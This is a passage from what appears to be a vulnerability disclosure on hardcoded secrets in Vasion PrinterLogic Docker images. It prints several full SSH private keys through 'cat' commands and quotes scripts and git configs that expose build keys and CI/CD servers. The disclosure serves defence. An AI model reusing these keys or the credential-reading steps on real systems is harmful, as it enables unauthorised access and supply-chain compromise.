AAAAB3NzaC1yc2EAAAADAQABAAABgQC2M2xijRbElYoTFbvt4gHISVqO9fY7Ad4Bz/cspildbrk6rFRx1M5WD5PLeS6flg1sBUotNgbQih1e/P5z/rwEHF9JZvH/4Sk3nAa+0+hym6vdPZLa6iEq6xbyyQ5jyTs4NjphCXpSkHK3skc8exxkM2H0mUi+7hj4l47UnetLck9rV5TvVHs9gUhjhkiYm1FlesT5WMF6ExOotS3ndi8ZydFdQHbuGJsMKIGyD1d699TqoiP/o82PgKMmuL64APRgbgzVYyyMvFGctg3Pw7dbPwkLoFTQf2gVLdEXm9OBDyyx6/lb4gIcLTrMnZ5zYj08qeo3K8jc4TpyYUVQCo4IHe7O0Ck3CG0oRsXIXVWNK8UMC6hXTQ2zKGN2rX9zhbOvAVhZGJ6/bcKnrxOvGQltdgoV2wTEp0IvqLQg4dOl0eaDT5kPyETdxToaizB85FPrOeWYuYY9SSciViNR945nkcEwq4ALE+fZGSYxIc4PxoN6ygjVxcyvWkLhV2sv6Wk=
 
    ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w==
 [redacted]@printerlogic.com
    ssh-rsa 
AAAAB3NzaC1yc2EAAAADAQABAAACAQDNyc+v6JH6q5M47st8Cs3a7ekwr7TW4j6GCkXupqnDhdcIRXkb9pXyF+0dfPk3X3DrZ1yYSjx9z848POhmecIA9OGAMBqewAQllS5GrkdTH7mAZ1ECTvrjzkZnHAEz95ED2TlI20n4xY06yXZbLIQhM9DjhTlNDP0Vz51spn/xKRyN2hk/MC3TqVRiePkxPhp54OanuxQj74Xes905vFCIXukqKslRKXuZMiPPBr+rXma99Ev09APkJGu+Gf12d4c+7A+iOCDjphQ7IgzMS5qegKVFynX1UPoTUClUZN/oBVOitu3EVAajY7BOOGE4K+EAtxRjiwYfNAb2tajXMcDV8BcKiPu1mR23Q+sr39GOZgfuEcIQt7NvqMnBtNRomOBT7L4JJJ83G7kqP7BtDPS7OTjxNthPQNIMIgPC+rt9RCR/LlUCRSXNVi11el/L1zntHUfNNhsR+s94qjiS9PeXOqqDplpAEW7qIA6OW27cMJHaSHT0TbhZMyMj5qTTf4fUGkfKg5S5+yOUc8Y+ZVLD/62Tmc4EVFMKExB6AY8sormW4KnStBOH//4N0+RobSinClH7pAs8t91H9EZMOb1HWLuh9sC6O6I8Y/7VNjpMRMwPjTVxyWioPfvXL/nYAarQx2T8vHJ0PPhPw9rv7HFg28j7SmwQUJJArOIx1N0d+w==
 [redacted]@printerlogic.com
    
    kali% cat 2410f7c3221fd364bbd3973e9a9d4a5822470220de3fc62b3f03c805b3c0d18a
    -----BEGIN RSA PRIVATE KEY-----
    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
    -----END RSA PRIVATE KEY-----
    kali%
    
    kali% cat ba6d3cc939560607ddb022268532711ebe04a4d3a9091b8e8c021fe18d3e54ad
    -----BEGIN OPENSSH PRIVATE KEY-----
    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
    h30NQI0QFWZrEFAAAAAAEC
    -----END OPENSSH PRIVATE KEY-----
    kali%
    
    kali% cat e4eef378452637b12bdf3be4b094dbf31815aa135eac4bd32f705cd74e890909
    -----BEGIN RSA PRIVATE KEY-----
    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
    -----END RSA PRIVATE KEY-----
    
    kali% cat f8b7e55b72b82e3dcfc3801441522e87cf9b3a9c8bc10e66ad7ba421ee5cac9c
    -----BEGIN RSA PRIVATE KEY-----
    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
    -----END RSA PRIVATE KEY-----
    kali%


These keys are used in shellscripts:    

Content of 
`./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/microservice-sdk-pkg/.docker-config/entrypoint.sh`:

[code:shell]
kali% cat 
./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/microservice-sdk-pkg/.docker-config/entrypoint.sh
...
cd /var/www/app

# We need the build key in our dev environment for running some npm stuff; we 
have access to the key already because
# we are running in our bind-mounted source volume
mkdir -p /root/.ssh/
cp /var/www/app/.docker-config/buildkey/key /root/.ssh/id_rsa
chmod 600 /root/.ssh/id_rsa
[/code]

They may also be used for Bitbucket and Github.

For example, it is possible to extract private information about repositories 
hosted by Bitbucket.

Content of 
`./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/ms-auth-key-pkg/.git/config`:

    kali% less 
./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/ms-auth-key-pkg/.git/config
    [core]  
            repositoryformatversion = 0
            filemode = true
            bare = false
            logallrefupdates = true
    [remote "origin"]
            url = git@xxxxxxxxxxxxx:printerlogicDev/ms-auth-key-pkg.git
            fetch = +refs/heads/*:refs/remotes/origin/*
    [branch "develop"]
            remote = origin
            merge = refs/heads/develop
    [remote "composer"]
            url = git@xxxxxxxxxxxxx:printerlogicDev/ms-auth-key-pkg.git
            fetch = +refs/heads/*:refs/remotes/composer/*

If these keys are used for specific access, an attacker can use them for 
lateral movements and compromise the Vasion PrinterLogic infrastructure.



## Details - Hardcoded AWS secret key and Presence of CI/CD scripts

The Docker instances contain hardcoded AWS secret API keys.

The remaining docker data from previously installed instances also contain 
scripts regarding Continuous Integration and Continuous Deployment (CI/CD), 
with configuration of remote Jenkins servers (buildmaster-01.pl-labs.com and 
buildmaster-02.pl-labs.com).  Using valid AWS secret keys, an attacker can 
compromise Jenkins servers and ultimately compromise customers using Supply 
Chain attack.

Extraction of AWS secret key.

